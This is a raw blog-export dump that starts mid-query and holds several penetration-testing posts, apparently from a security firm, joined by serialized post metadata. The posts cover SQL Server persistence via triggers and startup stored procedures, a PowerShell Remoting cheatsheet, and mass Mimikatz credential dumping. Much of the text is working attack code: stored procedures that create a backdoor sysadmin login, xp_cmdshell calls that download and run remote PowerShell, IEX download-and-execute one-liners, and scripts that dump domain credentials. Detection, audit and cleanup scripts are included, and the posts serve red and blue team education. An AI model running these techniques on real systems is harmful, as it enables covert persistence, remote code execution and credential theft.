	OBJECT_NAME(parent_id) as parent_name,
	OBJECT_NAME(object_id) as trigger_name,
	OBJECT_DEFINITION(object_id) as trigger_definition,
	OBJECT_ID,
	create_date,
	modify_date,
	CASE OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled')
		WHEN 1 THEN 'Disabled'
		ELSE 'Enabled'
        END AS status,
	OBJECTPROPERTY(object_id, 'ExecIsUpdateTrigger') AS isupdate ,
	OBJECTPROPERTY(object_id, 'ExecIsDeleteTrigger') AS isdelete ,
	OBJECTPROPERTY(object_id, 'ExecIsInsertTrigger') AS isinsert ,
	OBJECTPROPERTY(object_id, 'ExecIsAfterTrigger') AS isafter ,
	OBJECTPROPERTY(object_id, 'ExecIsInsteadOfTrigger') AS isinsteadof ,
	is_ms_shipped,
	is_not_for_replication
FROM sys.triggers WHERE 
OBJECT_DEFINITION(OBJECT_ID) LIKE '%xp_cmdshell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%powershell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%sp_addsrvrolemember%' 
ORDER BY name ASC

Malicious Trigger Removal

Below is some basic guidance for disabling and removing evil triggers.

Disabling Triggers

Disabling triggers may be a good option if you're still looking at the trigger's code, and don't feel comfortable fully removing it from the system yet. Note: Logon and DDL triggers can be disabled regardless of what database is currently selected, but for DML triggers you'll need to have the database selected that the trigger was created in.
DISABLE TRIGGER [persistence_ddl_1] on all server
DISABLE TRIGGER [persistence_ddl_2] on all server
DISABLE TRIGGER [persistence_logon_1] on all server
USE testdb
DISABLE TRIGGER [persistence_dml_1]

Removing Triggers

Once you're ready to commit to removing a trigger you can use the TSQL statements below. Note: Logon and DDL triggers can be removed regardless of what database is currently selected, but for DML triggers you'll have the have the database selected that the trigger was created in.
DROP TRIGGER [persistence_ddl_1] on all server
DROP TRIGGER [persistence_ddl_2] on all server
DROP TRIGGER [persistence_logon_1] on all server
USE testdb
DROP TRIGGER [persistence_dml_1]

Automating the Attack

For those of you that don't like copying and pasting code, I've created a little demo script with the comically long name "Invoke-SqlServer-Persist-TriggerDDL.psm1". It only supports DDL triggers, but it works well enough to illustrate the point. By default, the script targets the event group "DDL_SERVER_LEVEL_EVENTS", but you could change the hardcoded value to "DDL_EVENTS" if you wanted to expand the scope. Below are some basic usage instructions for those who are interested. Once the triggers have been created, you can set them off by adding or removing a SQL login, or by executing any of the other DDL server level events. Script Examples
  1. Download or reflectively load the PowerShell script as shown below.
    IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-SqlServer-Persist-TriggerDDL.psm1')
  2. Create a trigger to add a new SQL Server sysadmin login as the current domain user.
    Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAMEINSTANCENAME" -NewSqlUser EvilSysAdmin -NewSqlPass Password123!
  3. Create a trigger to add a local administrator as the current domain user. This will only work if the SQL Server service account has local administrative privileges.
    Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAMEINSTANCENAME" -NewOsUser EvilOsAdmin -NewOsPass Password123!
  4. Create a trigger to run arbitrary PowerShell command. In this case the PowerShell script creates the file c:tempHelloWorld.txt.Invoke.
    SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAMEINSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
  5. Remove the malicious trigger as the current domain user when you're all done.
    Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAMEINSTANCENAME" -Remove
    
    

Clean Up Script

Below is a script for cleaning up the mess we made during the labs. Some of the items were covered in the malicious trigger removal section, but this will cover it all.
-- Remove database and associate DML trigger
DROP DATABASE testdb

-- Select master database
USE master

-- Revoke all impersonate privilege provided to public role
REVOKE IMPERSONATE ON LOGIN::sa to [Public];

-- Remove logins
DROP LOGIN testuser
DROP LOGIN SysAdmin_DDL
DROP LOGIN SysAdmin_DML
    
-- Remove triggers
DROP TRIGGER [persistence_ddl_2] on all server
DROP TRIGGER [persistence_ddl_1] on all server
DROP TRIGGER [persistence_logon_1] on all server

-- Remove audit specifications
ALTER SERVER AUDIT Audit_Object_Changes WITH (STATE = OFF)
DROP SERVER AUDIT Audit_Object_Changes

ALTER SERVER AUDIT SPECIFICATION Audit_Server_Level_Object_Changes WITH (STATE = OFF)
DROP SERVER AUDIT SPECIFICATION Audit_Server_Level_Object_Changes

ALTER DATABASE AUDIT SPECIFICATION Audit_Database_Level_Object_Changes WITH (STATE = OFF)
DROP DATABASE AUDIT SPECIFICATION Audit_Database_Level_Object_Changes

Wrap Up

In this blog we learned how to use SQL Server triggers maintain access to Windows systems. We also covered some options for detecting potentially malicious behavior. Hopefully, this will help create some awareness around this type of persistence method. Have fun and hack responsibly.

References

[post_title] => Maintaining Persistence via SQL Server – Part 2: Triggers [post_excerpt] => In this blog, I'll show how three types of SQL Server triggers can be abused to maintain access to Windows environments. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => maintaining-persistence-via-sql-server-part-2-triggers [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:24 [post_modified_gmt] => 2021-06-08 21:47:24 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6231 [menu_order] => 282 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [28] => WP_Post Object ( [ID] => 6091 [post_author] => 17 [post_date] => 2016-03-07 07:00:24 [post_date_gmt] => 2016-03-07 07:00:24 [post_content] => During red team and penetration test engagements, one common goal is to maintain access to target environments while security teams attempt to identify and remove persistence methods. There are many ways to maintain persistent access to Windows environments. However, detective controls tend to focus on compromised account identification and persistence methods at the operating system layer. While prioritizing detective control development in those areas is a good practice, common database persistence methods are often overlooked. In this blog series, I'm planning to take a look at few techniques for maintaining access through SQL Server and how they can be detected by internal security teams. Hopefully they will be interesting to both red and blue teams. Below is an overview of what will be covered in this blog:

Why use SQL Server as a Persistence Method?

It may not be immediately obvious why anyone would use SQL Server or other database platforms to maintain access to an environment, so I've provided some of the advantages below.
  1. The .mdf files that SQL Server uses to store data and other objects such as stored procedures are constantly changing, so there is no easy way to use File Integrity Monitoring (FIM) to identify database layer persistence methods.
  2. SQL Server persistence methods that interact with the operating systems will do so under the context of the associated SQL Server service account. This helps make potentially malicious actions appear more legitimate.
  3. It's very common to find SQL Server service accounts configured with local administrative or LocalSystem privileges. This means that in most cases any command and control code running from SQL Server will have local administrative privileges.
  4. Very few databases are configured to audit for common Indicators of Compromise (IoC) and persistence methods.
With that out of the way, let's learn a little about stored procedures.

Introduction to Startup Stored Procedures

In SQL Server, stored procedures are basically chunks of SQL code intended for reuse that get compiled into a single execution plan. Similar to functions, they can accept parameters and provide output to the user. SQL Server ships with quite a few native stored procedures, but they can also be user defined. Once logged into SQL Server, it's possible to execute stored procedures that the current user has privileges to execute. For more general information regarding stored procedures, visit https://technet.microsoft.com/en-us/library/aa174792(v=sql.80).aspx. The native sp_procoption stored procedure can be used to configure user defined stored procedures to run when SQL Server is started or restarted. The general idea is very similar to the "run" and "run once" registry keys commonly used for persistence by developers, malware, and penetration testers. Before we get started on creating our evil startup stored procedures there are a few things to be aware of. The stored procedures configured for automatic execution at start time:
  • Must exist in the Master database
  • Cannot accept INPUT or OUTPUT parameters
  • Must be marked for automatic execution by a sysadmin
General Note: Based on my time playing with this in a lab environment, all startup stored procedures are run under the context of the sa login, regardless of what login was used to flag the stored procedure for automatic execution. Even if the sa login is disabled, the startup procedures will still run under the sa context when the service is restarted.

Startup Stored Procedure Detection

In this section I've provided an example script that can be used to enable audit features in SQL Server that will log potentially malicious startup procedure activities to the Windows Application event log. Normally I would introduce the attack setup first, but if the audit controls are not enabled ahead of time the events we use to detect the attack won't show up in the Windows application event log. Important Note: Be aware that the sysadmin privileges are required to run the script, and recommendations in this section will not work on SQL Server Express, because SQL Server Auditing is a commercial feature. SQL Server Auditing can be used to monitor all kinds of database activity. For those who are interested in learning more I recommend checking out this Microsoft site. https://technet.microsoft.com/en-us/library/cc280386(v=sql.110).aspx Audit Setup Instructions Follow the instructions below to enable auditing:
  1. Create and enable a SERVER AUDIT.
    -- Select master database
    USE master
    
    -- Setup server audit to log to application log
    CREATE SERVER AUDIT Audit_StartUp_Procs
    TO APPLICATION_LOG
    WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
    
    -- Enable server audit
    ALTER SERVER AUDIT Audit_StartUp_Procs
    WITH (STATE = ON)
  2. Create an enabled SERVER AUDIT SPECIFICATION. This will enable auditing of defined server level events. In this example, it's been configured to monitor group changes, server setting changes, and audit setting changes.
    -- Create server audit specification
    CREATE SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec
    FOR SERVER AUDIT Audit_StartUp_Procs
    ADD (SERVER_ROLE_MEMBER_CHANGE_GROUP), 
    
    -- track group changes
    ADD (SERVER_OPERATION_GROUP), 
    
    -- track server setting changes
    ADD (AUDIT_CHANGE_GROUP) 
    
    -- track audit setting changes
    WITH (STATE = ON)
  3. Create an enabled DATABASE AUDIT SPECIFICATION. This will enable auditing of specific database level events. In this case, the execution of the sp_procoption procedure will be monitored.
    -- Create the database audit specification
    CREATE DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec
    FOR SERVER AUDIT Audit_StartUp_Procs
    ADD (EXECUTE
    ON master..sp_procoption BY public ) 
    
    -- sp_procoption execution
    WITH (STATE = ON)
    GO
  4. All enabled server and database level audit specifications can be viewed with the queries below. Typically, sysadmin privileges are required to view them.
    -- List enabled server specifications
    SELECT		audit_id, 
            a.name as audit_name, 
            s.name as server_specification_name,
            d.audit_action_name,
            s.is_state_enabled,
            d.is_group,
            d.audit_action_id,	
            s.create_date,
            s.modify_date
    FROM sys.server_audits AS a
    JOIN sys.server_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.server_audit_specification_details AS d
    ON s.server_specification_id = d.server_specification_id
    WHERE s.is_state_enabled = 1
    
    -- List enabled database specifications
    SELECT	a.audit_id,
            a.name as audit_name,
            s.name as database_specification_name,
            d.audit_action_name,
            s.is_state_enabled,
            d.is_group,
            s.create_date,
            s.modify_date,
            d.audited_result
    FROM sys.server_audits AS a
    JOIN sys.database_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.database_audit_specification_details AS d
    ON s.database_specification_id = d.database_specification_id
    WHERE s.is_state_enabled = 1
    If you're interested in finding out about other server and database audit options, you can get a full list using the query below.
    Select DISTINCT action_id,name,class_desc,parent_class_desc,containing_group_name from sys.dm_audit_actions order by parent_class_desc,containing_group_name,name
    
    

Startup Stored Procedure Creation

Now for the fun part. The code examples provided in this section will create two stored procedures and configure them for automatic execution. As a result, the stored procedures will run the next time a patch is applied to SQL Server, or the server is restarted. As mentioned before, sysadmin privileges will be required. Note: This example was performed over a direct database connection, but could potentially be executed through SQL injection as well.
  1. If you're trying this out at home, you can download and install SQL Server with SQL Server Management Studio Express to use for connecting to the remote SQL Server. https://www.microsoft.com/en-us/download/details.aspx?id=42299.
  2. Log into the (commercial version of) SQL Server with sysadmin privileges.
  3. Enable the xp_cmdshell stored procedure. This may not be required, but xp_cmdshell is disabled by default.
    -- Enabled xp_cmdshell
    sp_configure 'show advanced options',1
    RECONFIGURE
    GO
    
    sp_configure 'xp_cmdshell',1
    RECONFIGURE
    GO
    When a system setting like "xp_cmdshell" is changed, the Windows Application event log should include event ID 15457. Also, event ID 33205 should show up with a statement field set to "reconfigure". I don't see xp_cmdshell enabled very often. So most attackers will have to enable it to perform OS level operations.
  4. Create a stored procedure to add a new sysadmin Login using the query below.
    ------------------------------
    -- Create a stored procedure 1
    ------------------------------
    USE MASTER
    GO
    
    CREATE PROCEDURE sp_add_backdoor_account
    AS
    
    -- create sql server login backdoor_account
    CREATE LOGIN backdoor_account WITH PASSWORD = 'Password123!';
    
    -- Add backdoor_account to sysadmin fixed server role
    EXEC sp_addsrvrolemember 'backdoor_account', 'sysadmin';
    
    GO
  5. Create a stored procedure to use the xp_cmdshell stored procedure to download and execute a PowerShell payload from the internet using the query below. The script in the example simply writes a c:temphelloworld.txt file, but you can use any PowerShell payload. Something like a PowerShell Empire agent could be handy.
    ------------------------------
    -- Create a stored procedure 2
    ------------------------------
    USE MASTER
    GO
    
    CREATE PROCEDURE sp_add_backdoor
    AS
    -- Download and execute PowerShell code from the internet
    EXEC master..xp_cmdshell 'powershell -C "Invoke-Expression (new-object System.Net.WebClient).DownloadString(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1'')"'
    GO
  6. Configure the stored procedures to run when the SQL Server service is restarted using the query below.
    ------------------------------------------------
    -- Configure stored procedure to run at startup
    ------------------------------------------------
    -- Set 'sp_add_backdoor_account' to auto run
    EXEC sp_procoption @ProcName = 'sp_add_backdoor_account',
    @OptionName = 'startup',
    @OptionValue = 'on';
    
    -- Setup 'sp_add_backdoor' to auto run
    EXEC sp_procoption @ProcName = 'sp_add_backdoor',
    @OptionName = 'startup',
    @OptionValue = 'on';
    After execution, the event ID 33205 should show up in the Windows Application event log if auditing has been enabled. The "object_name" should contain "sp_procoption", and the name of the startup stored procedure can be found in the "statement" field. I haven't seen this option used very often in production environments. So alerting on it shouldn't generate too many false positives. Below is an example of the event output.
  7. Confirm the configuration worked using the query below.
    -- List stored procedures mark for automatic execution
    SELECT [name] FROM sysobjects
    WHERE type = 'P'
    AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
  8. If you're doing this lab on a test instance on your own system, then you can restart the SQL Server service. If you're performing an actual penetration test, you'll have to wait for the service or server to restart before the procedures are executed. Usually that will happen during standard patch cycles. So if you're procedures start a reverse shell you may have to wait a while. Very Important Note: Only perform this step in a lab environment and NEVER restart a production service. Unless of course you want to be attacked by an angry mob of DBAs and business line owners. That being said, you can restart the service with the sc or the PowerShell restart-service commands. However, if you're a GUI fan you can just use services.msc as shown below.When the SQL Server service restarts it will launch the startup procedures and Windows event ID 17135 is used to track that event as shown below.
  9. Verify that a new sysadmin login named "backdoor_account" was added.When a login is added to the sysadmin fixed server role event ID 33205 should show up again in the application log. However, this time the "object_name" should contain "sysadmin", and the name of the affected account can be found in the "statement" field. Sysadmins shouldn't be changed too often in production environments, so this can also be a handy thing to monitor.

Startup Stored Procedure Code Review

At this point you should be able to view the log entries described earlier (33205 and 17135). They should tell you what procedures to dig into. If you're interested in what they're doing, it's possible to view the source code for all startup stored procedures with the query below.
SELECT ROUTINE_NAME, ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'ExecIsStartup') = 1
Be aware that you will need privileges to view them, but as a sysadmin it shouldn't be an issue.

Startup Stored Procedure Removal

My guess is that at some point you'll want to remove your sample startup procedures and audit settings, so below is a removal script.
-- Disable xp_cmdshell
sp_configure 'xp_cmdshell',0
reconfigure
go

sp_configure 'show advanced options',0
reconfigure
go

--Stop stored procedures from starting up
EXEC sp_procoption @ProcName = 'sp_add_backdoor',
@OptionName = 'startup',
@OptionValue = 'off';

EXEC sp_procoption @ProcName = 'sp_add_backdoor_account',
@OptionName = 'startup',
@OptionValue = 'off';

-- Remove stored procedures
DROP PROCEDURE sp_add_backdoor
DROP PROCEDURE sp_add_backdoor_account

-- Disable and remove SERVER AUDIT
ALTER SERVER AUDIT Audit_StartUp_Procs
WITH (STATE = OFF)
DROP SERVER AUDIT Audit_StartUp_Procs

-- Disable and remove SERVER AUDIT SPECIFICATION
ALTER SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec
WITH (STATE = OFF)
DROP SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec

-- Disable and remove DATABASE AUDIT SPECIFICATION
ALTER DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec
WITH (STATE = OFF)
DROP DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec

So...
If an attacker decides to be clever and disable the audit settings it will also show up under event ID 33205. In this case, the statement will include "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" along with the rest of the statement. Also, "object_name" will be the name of the SERVER AUDIT. This is another thing that shouldn't change very often in production environments so it's a good this to watch. Below is a basic screenshot example.


Automating the Attack

I put together a little PowerShell script called "Invoke-SqlServer-Persist-StartupSp.psm1" to automate the attack. Below are some basic usage instructions for those who are interested.
  1. Download the script or reflectively load it from here.
    IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-SqlServer-Persist-StartupSp.psm1')
  2. The example below shows how to add a SQL Server sysadmin via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!
    Add Sysadmin
  3. The example below shows how to add a local Windows Administrator via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!
    Add Osadmin
  4. The example below shows how to run arbitrary PowerShell code via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
    Add Pscmd

Wrap Up

In this blog I covered how to create, detect, and remove malicious startup stored procedures in SQL Server. Hopefully, this will help create some awareness around this type of persistence method. Big thanks to Grisha Kumar and Ben Tindell for verifying all the code samples for this blog. Have fun and hack responsibly! Note: All testing was done on Windows 8 running SQL Server 2014 Standard Edition.

References

[post_title] => Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures [post_excerpt] => In this blog I show how to use SQL Server startup stored procedures to maintain access to Windows environments and share a PowerShell script to automate the attack... [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-persistence-part-1-startup-stored-procedures [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:17 [post_modified_gmt] => 2021-06-08 21:47:17 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6091 [menu_order] => 286 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [29] => WP_Post Object ( [ID] => 5280 [post_author] => 17 [post_date] => 2015-07-31 07:00:55 [post_date_gmt] => 2015-07-31 07:00:55 [post_content] =>

I have become a big fan of PowerShell Remoting. I find my self using it for both penetration testing and standard management tasks. In this blog I'll share a basic PowerShell Remoting cheatsheet so you can too.

Introduction to PowerShell Remoting

PowerShell Remoting is essentially a native Windows remote command execution feature that’s build on top of the Windows Remote Management (WinRM) protocol. Based on my super Google results, WinRM is supported by Windows Vista with Service Pack 1 or later, Windows 7, Windows Server 2008, and Windows Server 2012.

Enabling PowerShell Remoting

Before we get started let's make sure PowerShell Remoting is all setup on your system.

1. In a PowerShell console running as administrator enable PowerShell Remoting.

Enable-PSRemoting –force

This should be enough, but if you have to troubleshoot you can use the commands below.

2. Make sure the WinRM service is setup to start automatically.

# Set start mode to automatic
Set-Service WinRM -StartMode Automatic

# Verify start mode and state - it should be running
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

3. Set all remote hosts to trusted. Note: You may want to unset this later.

# Trust all hosts
Set-Item WSMan:localhost\client\trustedhosts -value *

# Verify trusted hosts configuration
Get-Item WSMan:\localhost\Client\TrustedHosts

Executing Remote Commands with PowerShell Remoting

Now we can play around a little. There’s a great blog from a while back that provides a nice overview of PowerShell Remoting at http://blogs.technet.com/b/heyscriptingguy/archive/2009/10/29/hey-scripting-guy-october-29-2009.aspx. It’s definitely on my recommended reading list, but I'll expand on the examples a little.

Executing a Single Command on a Remote System

The "Invoke-Command" command can be used to run commands on remote systems. It can run as the current user or using alternative credentials from a non domain system. Examples below.

Invoke-Command –ComputerName MyServer1 -ScriptBlock {Hostname}
Invoke-Command –ComputerName MyServer1 -Credential demo\serveradmin -ScriptBlock {Hostname}

If the ActiveDirectory PowerShell module is installed it's possible to execute commands on many systems very quickly using the pipeline. Below is a basic example.

Get-ADComputer -Filter *  -properties name | select @{Name="computername";Expression={$_."name"}} | Invoke-Command -ScriptBlock {hostname}

Sometimes it’s nice to run scripts stored locally on your system against remote systems. Below are a few basic examples.

Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1
Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1 -Credential demo\serveradmin

Also, if your dynamically generating commands or functions being passed to remote systems you can use invoke-expression through invoke-command as shown below.

$MyCommand = "hostname"
$MyFunction = "function evil {write-host `"Getting evil...`";iex -command $MyCommand};evil"
invoke-command -ComputerName MyServer1 -Credential demo\serveradmin -ScriptBlock {Invoke-Expression -Command  "$args"} -ArgumentList $MyFunction

Establishing an Interactive PowerShell Console on a Remote System

An interactive PowerShell console can be obtained on a remote system using the "Enter-PsSession" command. It feels a little like SSH. Similar to "Invoke-Command", "Enter-PsSession" can be run as the current user or using alternative credentials from a non domain system. Examples below.

Enter-PsSession –ComputerName server1.domain.com
Enter-PsSession –ComputerName server1.domain.com –Credentials domain\serveradmin

If you want out of the PowerShell session the "Exit-PsSession" command can be used.

Exit-PsSession

Creating Background Sessions

There is another cool feature of PowerShell Remoting that allows users to create background sessions using the "New-PsSession" command. Background sessions can come in handy if you want to execute multiple commands against many systems. Similar to the other commands, the "New-PsSession" command can run as the current user or using alternative credentials from a non domain system. Examples below.

New-PSSession -ComputerName server1.domain.com
New-PSSession –ComputerName server1.domain.com –Credentials domain\serveradmin

If the ActiveDirectory PowerShell module is installed it's possible to create background sessions for many systems at a time (However, this can be done in many ways). Below is a command example showing how to create background sessions for all of the domain systems. The example shows how to do this from a non domain system using alternative domain credentials.

New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
cd RemoteADS:
Get-ADComputer -Filter * -Properties name  | select @{Name="ComputerName";Expression={$_."name"}} | New-PSSession

Listing Background Sessions

Once a few sessions have been established the "Get-PsSession" command can be used to view them.

Get-PSSession

Interacting with Background Sessions

The first time I used this feature I felt like I was working with Metasploit sessions, but these sessions are a little more stable. Below is an example showing how to interact with an active session using the session id.

Enter-PsSession –id 3

To exit the session use the "Exit-PsSession" command. This will send the session into the background again.

Exit-PsSession

Executing Commands through Background Sessions

If your goal is to execute a command on all active sessions the "Invoke-Command" and "Get-PsSession" commands can be used together. Below is an example.

Invoke-Command -Session (Get-PSSession) -ScriptBlock {Hostname}

Removing Background Sessions

Finally, to remove all of your active sessions the "Disconnect-PsSession" command can be used as shown below.

Get-PSSession | Disconnect-PSSession 

Wrap Up

Naturally PowerShell Remoting offers a lot of options for both administrators and penetration testers. Regardless of your use case I think it boils down to this:

  • Use "Invoke-Command" if you're only going to run one command against a system
  • Use "Enter-PSSession" if you want to interact with a single system
  • Use PowerShell sessions when you're going to run multiple commands on multiple systems

Hopefully this cheatsheet will be useful. Have fun and hack responsibly.

References

[post_title] => PowerShell Remoting Cheatsheet [post_excerpt] => I have become a big fan of PowerShell Remoting. I find my self using it for both penetration testing and standard management tasks. In this blog I'll share a basic PowerShell Remoting cheatsheet so you can too. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => powershell-remoting-cheatsheet [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:53 [post_modified_gmt] => 2021-04-13 00:05:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=5280 [menu_order] => 296 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [30] => WP_Post Object ( [ID] => 5147 [post_author] => 17 [post_date] => 2015-07-27 07:00:33 [post_date_gmt] => 2015-07-27 07:00:33 [post_content] =>

Introduction

Mimikatz is a great “authentication token recovery tool” that the whole pentest community knows and loves.  Since it’s initial development it’s been ported to PowerShell (Invoke-Mimikatz.ps1) and a few “Mass Mimikatz” scripts have been written that wrap around it so Mimikatz can be executed on many domain systems very quickly.  Many “Mass Mimikatz” delivery methods have been used including, but not limited to psexec, schtasks, wmic, and invoke-wmimethod.  Regardless of their differences, they all make scraping Windows domain credentials easier. In this blog I’ll cover some of that history and share my script "Invoke-MassMimikatz-PsRemoting.psm1", which tries to expand on other people's work. It uses PowerShell Remoting and Invoke-Mimikatz.ps1 to collect credentials from remote systems. The new script supports options for auto-targeting domain systems, targeting systems with the WinRM service installed using SPNs, and running from non-domain systems using alternative credentials. The content should be handy for penetration testers, but may also interesting to blue teamers looking to understand how PowerShell Remoting and SPNs can be used during attacks.

A Brief History of the Mass Mimikatz

I thought it would be appropriate to start things of by highlighting some of the work done by others prior to writing my shabby script.  Below are the projects that seemed to stick out the most to me. I highly recommend checking them out.
  • Mimikatz For those who might be new to the security industry, Mimikatz is great tool developed by Benjamin Delpy that can be used to dump cleartext passwords from memory (among many other things) as long as you have local administrator privileges.  Benjamin seems to add new and amazing  features on a pretty regular basis so it’s worth it to keep an eye on the github project and his blog. https://github.com/gentilkiwi/mimikatz
  • Invoke-Mimikatz After Mimikatz had been around a while Joseph Bialek ported Mimikatz to PowerShell.  This was a fantastic feat that made Mimikatz even easier to use for all of us IT security enthusiasts.  It natively supports executing Mimikatz on remote systems using PowerShell Remoting as the current user.  However, I don’t believe that it supports using alternative credentials via PSCredential objects.  The Invoke-Mimikatz github repo is listed below. https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
  • Mass Mimikatz After the Invoke-Mimikatz script was released it didn’t take long for people to start writing scripts that execute it  on a larger scale in creative ways.  Rob Fuller released the first scripts I saw that wrapped around Invoke-Mimikatz.ps1. His scripts create a file share that hosts a .cmd file, which is then executed on remote systems via WMIC commands.  The .cmd script then runs a PowerShell command on the remote systems that downloads Invoke-Mimkatz.ps1 into memory, runs it, and writes all of the passwords out to files on the hosted share.  This can all be executed from a non-domain system using alternative credentials.  His blog introducing the scripts is below. http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
  • Invoke-MassMimikatz In an effort to streamline the process a bit, Will Schroeder created a nice PowerShell script called “Invoke-MassMimikatz.ps1”.  It hosts “Invoke-Mimikatz.ps1“ on a web server started by his script.  Then Invoke-MassMimikatz.ps1 executes encoded PowerShell commands on remote systems using the "Invoke-WmiMthod" command, which downloads and executes "Invoke-Mimikatz.ps1" in memory. All of the Mimikatz output is then parsed and displayed in the PowerShell console. Invoke-MassMimikatz can also be executed from a non-domain system using alternative credentials. So it’s similar to Rob’s scripts, but consolidates everything into one script that uses a slightly different delivery method. http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/
  • Metasploit I would be neglectful if I didn’t mention Metasploit.  It includes quite a few options for obtaining shells on remote systems.  Once you have a few active sessions its pretty easy to use the Mimikatz extension created by Ben Campbell to grab Windows credentials.  Also, Ben Turner and Dave Hardy added support for fully interactive PowerShell sessions through Metasploit that can load any PowerShell module you want when the session is created which is pretty cool.  I recommend checking out their blog below. https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/

An Overview of the Invoke-MassMimikatz-PsRemoting Script

The "Invoke-MassMimikatz-PsRemoting" script provides another way to run Mimikatz on remote systems using PowerShell Remoting, but includes a few novel options. Naturally it's based on the heavy lifting done in the other projects. For those who are interested it can be downloaded from here. Below is a summary of the script and its features:
  • It wraps the native command “Invoke-Command“ to execute Invoke-Mimikatz.ps1 on remote systems, and the Invoke-Mimikatz.ps1 script is baked in.  As a result, no files have to be hosted, because "Invoke-Command" doesn’t suffer from the 8192 character limit enforced on commands passed through Invoke-WmiMethod and wmic.
  • It supports alternative credentials and execution from a non-domain system using PSCredential objects.
  • It supports automatically creating a target list of domain computers by querying a domain controller using ADSI. Since ADSI is used, the ActiveDirectory module is not required.
  • It supports filtering for domain computers with WinRM installed by filtering the Service Principal Names.
  • It supports the option to limit the number of systems to run Mimikatz on. The default is 5.
  • It uses Will’s Mimikatz output parser to provide clean output that can be used in the PowerShell pipeline.
  • It checks if the user credentials recovered from remote systems are a Domain or Enterprise admin.

Enabling PowerShell Remoting

Ok, first things first.  Let's make sure PowerShell Remoting is all setup on the system your running it from. You should be able to use the command below.
Enable-PSRemoting –force
For more information and context check out this technet blog: https://technet.microsoft.com/en-us/magazine/ff700227.aspx If for some reason that doesn't work you can use the commands below to trouble shoot.
# Set start mode to automatic
Set-Service WinRM -StartMode Automatic

# Verify start mode 
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

# Trust all hosts
Set-Item WSMan:localhostclienttrustedhosts -value *

# Verify trusted hosts configuration
Get-Item WSMan:localhostClientTrustedHosts

Invoke-MassMimikatz-PsRemoting Function Examples

Below are a few examples. Keep in mind that the domain user used will require administrative privileges on the remote systems.  Additional information and examples can be found in commented section of the script. The function can be imported a few different ways. If you have outbound internet access you can load the function reflectively and not worry about the execution policy, but for the standard import methods the execution policy may have to be disabled/bypassed. Import examples are below.
# Import the function from the .psm1 file
Import-Module .Invoke-MassMimikatz-PsRemoting.psm1

# Import the function reflectively from an URL:
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-MassMimikatz-PsRemoting.psm1’)
Example 1 Running the function against 10.1.1.1 as the current domain user.
Invoke-MassMimikatz-PSRemoting –Verbose –hosts “10.1.1.1”
Example 2 Running the function as the current domain user, grabbing a list of all domain systems, filtering for systems with WinRM installed, and only running Mimikatz on five of them.
